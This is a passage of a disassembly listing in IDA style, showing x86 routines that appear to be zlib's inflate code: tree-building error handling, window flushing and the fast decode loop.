		jmp	short loc_4C7B3A
; ---------------------------------------------------------------------------


loc_4C7B23:				; CODE XREF: sub_4C7A96+7Fj
		cmp	[ebp+var_4], 0FFFFFFFCh
		jz	short loc_4C7B3A
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax+18h], offset aIncompleteLite ; "incomplete literal/length tree"
		mov	[ebp+var_4], 0FFFFFFFDh


loc_4C7B3A:				; CODE XREF: sub_4C7A96+8Bj
					; sub_4C7A96+91j
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_20]
		mov	eax, [edx+28h]
		push	eax
		mov	ecx, [ebp+arg_20]
		call	dword ptr [ecx+24h]
		add	esp, 8
		mov	eax, [ebp+var_4]
		jmp	loc_4C7C17
; ---------------------------------------------------------------------------


loc_4C7B56:				; CODE XREF: sub_4C7A96+79j
		mov	edx, [ebp+var_C]
		push	edx
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_1C]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		push	offset dword_4F3078
		push	offset dword_4F3000
		push	0
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+edx*4]
		push	ecx
		call	sub_4C71C8
		add	esp, 28h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4C7BA6
		mov	edx, [ebp+arg_10]
		cmp	dword ptr [edx], 0
		jnz	short loc_4C7C01
		cmp	[ebp+arg_0], 101h
		jbe	short loc_4C7C01


loc_4C7BA6:				; CODE XREF: sub_4C7A96+FDj
		cmp	[ebp+var_4], 0FFFFFFFDh
		jnz	short loc_4C7BB8
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax+18h], offset aOversubscrib_1 ; "oversubscribed distance tree"
		jmp	short loc_4C7BE8
; ---------------------------------------------------------------------------


loc_4C7BB8:				; CODE XREF: sub_4C7A96+114j
		cmp	[ebp+var_4], 0FFFFFFFBh
		jnz	short loc_4C7BD1
		mov	ecx, [ebp+arg_20]
		mov	dword ptr [ecx+18h], offset aIncompleteDist ; "incomplete distance tree"
		mov	[ebp+var_4], 0FFFFFFFDh
		jmp	short loc_4C7BE8
; ---------------------------------------------------------------------------


loc_4C7BD1:				; CODE XREF: sub_4C7A96+126j
		cmp	[ebp+var_4], 0FFFFFFFCh
		jz	short loc_4C7BE8
		mov	edx, [ebp+arg_20]
		mov	dword ptr [edx+18h], offset aEmptyDistanceT ; "empty distance tree with	lengths"
		mov	[ebp+var_4], 0FFFFFFFDh


loc_4C7BE8:				; CODE XREF: sub_4C7A96+120j
					; sub_4C7A96+139j ...
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_20]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_20]
		call	dword ptr [eax+24h]
		add	esp, 8
		mov	eax, [ebp+var_4]
		jmp	short loc_4C7C17
; ---------------------------------------------------------------------------


loc_4C7C01:				; CODE XREF: sub_4C7A96+105j
					; sub_4C7A96+10Ej
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_20]
		mov	eax, [edx+28h]
		push	eax
		mov	ecx, [ebp+arg_20]
		call	dword ptr [ecx+24h]
		add	esp, 8
		xor	eax, eax


loc_4C7C17:				; CODE XREF: sub_4C7A96+32j
					; sub_4C7A96+BBj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4C7A96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C7C1B	proc near		; CODE XREF: sub_4C4F0F+1B3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_4EE008
		mov	[eax], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, dword_4EE00C
		mov	[edx], eax
		mov	ecx, [ebp+arg_8]
		mov	dword ptr [ecx], offset	dword_4EE010
		mov	edx, [ebp+arg_C]
		mov	dword ptr [edx], offset	dword_4EF010
		xor	eax, eax
		pop	ebp
		retn
sub_4C7C1B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C7C50	proc near		; CODE XREF: sub_4C4F0F+F0p
					; sub_4C4F0F+23Bp ...

var_10		= dword	ptr -10h
Size		= dword	ptr -0Ch
Src		= dword	ptr -8
Dst		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+0Ch]
		mov	[ebp+Dst], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		mov	[ebp+Src], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+Src]
		cmp	edx, [ecx+34h]
		ja	short loc_4C7C7E
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+34h]
		mov	[ebp+var_10], ecx
		jmp	short loc_4C7C87
; ---------------------------------------------------------------------------


loc_4C7C7E:				; CODE XREF: sub_4C7C50+21j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		mov	[ebp+var_10], eax


loc_4C7C87:				; CODE XREF: sub_4C7C50+2Cj
		mov	ecx, [ebp+var_10]
		sub	ecx, [ebp+Src]
		mov	[ebp+Size], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+Size]
		cmp	eax, [edx+10h]
		jbe	short loc_4C7CA4
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+10h]
		mov	[ebp+Size], edx


loc_4C7CA4:				; CODE XREF: sub_4C7C50+49j
		cmp	[ebp+Size], 0
		jz	short loc_4C7CB7
		cmp	[ebp+arg_8], 0FFFFFFFBh
		jnz	short loc_4C7CB7
		mov	[ebp+arg_8], 0


loc_4C7CB7:				; CODE XREF: sub_4C7C50+58j
					; sub_4C7C50+5Ej
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+10h]
		sub	ecx, [ebp+Size]
		mov	edx, [ebp+arg_4]
		mov	[edx+10h], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+14h]
		add	ecx, [ebp+Size]
		mov	edx, [ebp+arg_4]
		mov	[edx+14h], ecx
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+38h], 0
		jz	short loc_4C7D08
		mov	ecx, [ebp+Size]
		push	ecx
		mov	edx, [ebp+Src]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+3Ch]
		push	ecx
		mov	edx, [ebp+arg_0]
		call	dword ptr [edx+38h]
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	[ecx+3Ch], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+3Ch]
		mov	[edx+30h], ecx


loc_4C7D08:				; CODE XREF: sub_4C7C50+8Cj
		mov	edx, [ebp+Size]
		push	edx		; Size
		mov	eax, [ebp+Src]
		push	eax		; Src
		mov	ecx, [ebp+Dst]
		push	ecx		; Dst
		call	_memcpy_1
		add	esp, 0Ch
		mov	edx, [ebp+Dst]
		add	edx, [ebp+Size]
		mov	[ebp+Dst], edx
		mov	eax, [ebp+Src]
		add	eax, [ebp+Size]
		mov	[ebp+Src], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+Src]
		cmp	edx, [ecx+2Ch]
		jnz	loc_4C7E0A
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		mov	[ebp+Src], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, [edx+34h]
		cmp	ecx, [eax+2Ch]
		jnz	short loc_4C7D60
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		mov	[edx+34h], ecx


loc_4C7D60:				; CODE XREF: sub_4C7C50+102j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+34h]
		sub	eax, [ebp+Src]
		mov	[ebp+Size], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+Size]
		cmp	edx, [ecx+10h]
		jbe	short loc_4C7D80
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+10h]
		mov	[ebp+Size], ecx


loc_4C7D80:				; CODE XREF: sub_4C7C50+125j
		cmp	[ebp+Size], 0
		jz	short loc_4C7D93
		cmp	[ebp+arg_8], 0FFFFFFFBh
		jnz	short loc_4C7D93
		mov	[ebp+arg_8], 0


loc_4C7D93:				; CODE XREF: sub_4C7C50+134j
					; sub_4C7C50+13Aj
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+10h]
		sub	eax, [ebp+Size]
		mov	ecx, [ebp+arg_4]
		mov	[ecx+10h], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+14h]
		add	eax, [ebp+Size]
		mov	ecx, [ebp+arg_4]
		mov	[ecx+14h], eax
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+38h], 0
		jz	short loc_4C7DE4
		mov	eax, [ebp+Size]
		push	eax
		mov	ecx, [ebp+Src]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+3Ch]
		push	eax
		mov	ecx, [ebp+arg_0]
		call	dword ptr [ecx+38h]
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		mov	[edx+3Ch], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+3Ch]
		mov	[eax+30h], edx


loc_4C7DE4:				; CODE XREF: sub_4C7C50+168j
		mov	eax, [ebp+Size]
		push	eax		; Size
		mov	ecx, [ebp+Src]
		push	ecx		; Src
		mov	edx, [ebp+Dst]
		push	edx		; Dst
		call	_memcpy_1
		add	esp, 0Ch
		mov	eax, [ebp+Dst]
		add	eax, [ebp+Size]
		mov	[ebp+Dst], eax
		mov	ecx, [ebp+Src]
		add	ecx, [ebp+Size]
		mov	[ebp+Src], ecx


loc_4C7E0A:				; CODE XREF: sub_4C7C50+E7j
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+Dst]
		mov	[edx+0Ch], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+Src]
		mov	[ecx+30h], edx
		mov	eax, [ebp+arg_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_4C7C50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C7E30	proc near		; CODE XREF: sub_4C63A5+113p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	eax, [ebp+arg_14]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_14]
		mov	eax, [edx+4]
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+20h]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+1Ch]
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+34h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+30h]
		jnb	short loc_4C7E7E
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+30h]
		sub	ecx, [ebp+var_8]
		sub	ecx, 1
		mov	[ebp+var_38], ecx
		jmp	short loc_4C7E8A
; ---------------------------------------------------------------------------


loc_4C7E7E:				; CODE XREF: sub_4C7E30+3Bj
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+2Ch]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_38], eax


loc_4C7E8A:				; CODE XREF: sub_4C7E30+4Cj
		mov	ecx, [ebp+var_38]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, dword_4EF200[edx*4]
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, dword_4EF200[ecx*4]
		mov	[ebp+var_30], edx


loc_4C7EAA:				; CODE XREF: sub_4C7E30+AFj
					; sub_4C7E30+6F8j
		cmp	[ebp+var_28], 14h
		jnb	short loc_4C7EE1
		mov	eax, [ebp+var_34]
		sub	eax, 1
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, [ebp+var_28]
		shl	edx, cl
		mov	eax, [ebp+var_10]
		or	eax, edx
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_28]
		add	edx, 8
		mov	[ebp+var_28], edx
		jmp	short loc_4C7EAA
; ---------------------------------------------------------------------------


loc_4C7EE1:				; CODE XREF: sub_4C7E30+7Ej
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_24]
		mov	ecx, [ebp+arg_8]
		lea	edx, [ecx+eax*8]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_20], ecx
		cmp	[ebp+var_20], 0
		jnz	short loc_4C7F44
		mov	edx, [ebp+var_1C]
		xor	eax, eax
		mov	al, [edx+1]
		mov	ecx, eax
		mov	edx, [ebp+var_10]
		shr	edx, cl
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_28]
		sub	edx, ecx
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_1C]
		mov	dl, [ecx+4]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_2C]
		sub	ecx, 1
		mov	[ebp+var_2C], ecx
		jmp	loc_4C851B
; ---------------------------------------------------------------------------


loc_4C7F44:				; CODE XREF: sub_4C7E30+CEj
					; sub_4C7E30+6E5j
		mov	edx, [ebp+var_1C]
		xor	eax, eax
		mov	al, [edx+1]
		mov	ecx, eax
		mov	edx, [ebp+var_10]
		shr	edx, cl
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_28]
		sub	edx, ecx
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_20]
		and	eax, 10h
		test	eax, eax
		jz	loc_4C833C
		mov	ecx, [ebp+var_20]
		and	ecx, 0Fh
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_10]
		and	eax, dword_4EF200[edx*4]
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+4]
		add	edx, eax
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_28]
		sub	ecx, [ebp+var_20]
		mov	[ebp+var_28], ecx


loc_4C7FA9:				; CODE XREF: sub_4C7E30+1B0j
		cmp	[ebp+var_28], 0Fh
		jnb	short loc_4C7FE2
		mov	edx, [ebp+var_34]
		sub	edx, 1
		mov	[ebp+var_34], edx
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, ecx
		mov	ecx, [ebp+var_28]
		shl	edx, cl
		mov	eax, [ebp+var_10]
		or	eax, edx
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_28]
		add	edx, 8
		mov	[ebp+var_28], edx
		jmp	short loc_4C7FA9
; ---------------------------------------------------------------------------


loc_4C7FE2:				; CODE XREF: sub_4C7E30+17Dj
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_30]
		mov	ecx, [ebp+arg_C]
		lea	edx, [ecx+eax*8]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_20], ecx


loc_4C7FFB:				; CODE XREF: sub_4C7E30+501j
		mov	edx, [ebp+var_1C]
		xor	eax, eax
		mov	al, [edx+1]
		mov	ecx, eax
		mov	edx, [ebp+var_10]
		shr	edx, cl
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_28]
		sub	edx, ecx
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_20]
		and	eax, 10h
		test	eax, eax
		jz	loc_4C8248
		mov	ecx, [ebp+var_20]
		and	ecx, 0Fh
		mov	[ebp+var_20], ecx


loc_4C8034:				; CODE XREF: sub_4C7E30+23Bj
		mov	edx, [ebp+var_28]
		cmp	edx, [ebp+var_20]
		jnb	short loc_4C806D
		mov	eax, [ebp+var_34]
		sub	eax, 1
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, [ebp+var_28]
		shl	edx, cl
		mov	eax, [ebp+var_10]
		or	eax, edx
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_28]
		add	edx, 8
		mov	[ebp+var_28], edx
		jmp	short loc_4C8034
; ---------------------------------------------------------------------------


loc_4C806D:				; CODE XREF: sub_4C7E30+20Aj
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_10]
		and	ecx, dword_4EF200[eax*4]
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+4]
		add	eax, ecx
		mov	[ebp+var_18], eax
		mov	edx, [ebp+var_10]
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_20]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_2C]
		sub	ecx, [ebp+var_14]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_8]
		sub	edx, [ebp+var_18]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+var_C]
		cmp	ecx, [eax+28h]
		jnb	loc_4C81CE


loc_4C80BA:				; CODE XREF: sub_4C7E30+2A7j
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_10]
		mov	ecx, [edx+2Ch]
		sub	ecx, [eax+28h]
		mov	edx, [ebp+var_C]
		add	edx, ecx
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+var_C]
		cmp	ecx, [eax+28h]
		jb	short loc_4C80BA
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+2Ch]
		sub	eax, [ebp+var_C]
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_14]
		cmp	ecx, [ebp+var_20]
		jbe	short loc_4C8157
		mov	edx, [ebp+var_14]
		sub	edx, [ebp+var_20]
		mov	[ebp+var_14], edx


loc_4C80F6:				; CODE XREF: sub_4C7E30+2EFj
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		cmp	[ebp+var_20], 0
		jnz	short loc_4C80F6
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+28h]
		mov	[ebp+var_C], ecx


loc_4C812A:				; CODE XREF: sub_4C7E30+323j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 1
		mov	[ebp+var_14], ecx
		cmp	[ebp+var_14], 0
		jnz	short loc_4C812A
		jmp	short loc_4C81CC
; ---------------------------------------------------------------------------


loc_4C8157:				; CODE XREF: sub_4C7E30+2BBj
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 1
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 1
		mov	[ebp+var_14], ecx


loc_4C81A1:				; CODE XREF: sub_4C7E30+39Aj
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 1
		mov	[ebp+var_14], ecx
		cmp	[ebp+var_14], 0
		jnz	short loc_4C81A1


loc_4C81CC:				; CODE XREF: sub_4C7E30+325j
		jmp	short loc_4C8243
; ---------------------------------------------------------------------------


loc_4C81CE:				; CODE XREF: sub_4C7E30+284j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 1
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 1
		mov	[ebp+var_14], ecx


loc_4C8218:				; CODE XREF: sub_4C7E30+411j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 1
		mov	[ebp+var_14], ecx
		cmp	[ebp+var_14], 0
		jnz	short loc_4C8218


loc_4C8243:				; CODE XREF: sub_4C7E30:loc_4C81CCj
		jmp	loc_4C8337
; ---------------------------------------------------------------------------


loc_4C8248:				; CODE XREF: sub_4C7E30+1F5j
		mov	edx, [ebp+var_20]
		and	edx, 40h
		test	edx, edx
		jnz	short loc_4C8286
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_1C]
		lea	eax, [edx+ecx*8]
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_20]
		mov	edx, [ebp+var_10]
		and	edx, dword_4EF200[ecx*4]
		mov	eax, [ebp+var_1C]
		lea	ecx, [eax+edx*8]
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_1C]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp+var_20], eax
		jmp	loc_4C832A
; ---------------------------------------------------------------------------


loc_4C8286:				; CODE XREF: sub_4C7E30+420j
		mov	ecx, [ebp+arg_14]
		mov	dword ptr [ecx+18h], offset aInvalidDista_0 ; "invalid distance	code"
		mov	edx, [ebp+arg_14]
		mov	eax, [edx+4]
		sub	eax, [ebp+var_34]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_28]
		shr	ecx, 3
		cmp	ecx, [ebp+var_14]
		jnb	short loc_4C82B2
		mov	edx, [ebp+var_28]
		shr	edx, 3
		mov	[ebp+var_3C], edx
		jmp	short loc_4C82B8
; ---------------------------------------------------------------------------


loc_4C82B2:				; CODE XREF: sub_4C7E30+475j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_3C], eax


loc_4C82B8:				; CODE XREF: sub_4C7E30+480j
		mov	ecx, [ebp+var_3C]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_34]
		add	edx, [ebp+var_14]
		mov	[ebp+var_34], edx
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_14]
		shl	ecx, 3
		mov	edx, [ebp+var_28]
		sub	edx, ecx
		mov	[ebp+var_28], edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+var_10]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+var_28]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_14]
		mov	edx, [ebp+var_34]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_14]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_14]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_14]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, 0FFFFFFFDh
		jmp	loc_4C85C0
; ---------------------------------------------------------------------------


loc_4C832A:				; CODE XREF: sub_4C7E30+451j
		mov	eax, 1
		test	eax, eax
		jnz	loc_4C7FFB


loc_4C8337:				; CODE XREF: sub_4C7E30:loc_4C8243j
		jmp	loc_4C851B
; ---------------------------------------------------------------------------


loc_4C833C:				; CODE XREF: sub_4C7E30+13Ej
		mov	ecx, [ebp+var_20]
		and	ecx, 40h
		test	ecx, ecx
		jnz	short loc_4C83C2
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_1C]
		lea	edx, [ecx+eax*8]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_10]
		and	ecx, dword_4EF200[eax*4]
		mov	edx, [ebp+var_1C]
		lea	eax, [edx+ecx*8]
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_1C]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp+var_20], edx
		cmp	[ebp+var_20], 0
		jnz	short loc_4C83BD
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_10]
		shr	edx, cl
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_28]
		sub	edx, ecx
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_1C]
		mov	dl, [ecx+4]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_2C]
		sub	ecx, 1
		mov	[ebp+var_2C], ecx
		jmp	loc_4C851B
; ---------------------------------------------------------------------------


loc_4C83BD:				; CODE XREF: sub_4C7E30+549j
		jmp	loc_4C850E
; ---------------------------------------------------------------------------


loc_4C83C2:				; CODE XREF: sub_4C7E30+514j
		mov	edx, [ebp+var_20]
		and	edx, 20h
		test	edx, edx
		jz	loc_4C846A
		mov	eax, [ebp+arg_14]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+var_34]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_28]
		shr	edx, 3
		cmp	edx, [ebp+var_14]
		jnb	short loc_4C83F2
		mov	eax, [ebp+var_28]
		shr	eax, 3
		mov	[ebp+var_40], eax
		jmp	short loc_4C83F8
; ---------------------------------------------------------------------------


loc_4C83F2:				; CODE XREF: sub_4C7E30+5B5j
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_40], ecx


loc_4C83F8:				; CODE XREF: sub_4C7E30+5C0j
		mov	edx, [ebp+var_40]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_34]
		add	eax, [ebp+var_14]
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+var_14]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_14]
		shl	edx, 3
		mov	eax, [ebp+var_28]
		sub	eax, edx
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ebp+var_10]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+var_28]
		mov	[eax+1Ch], ecx
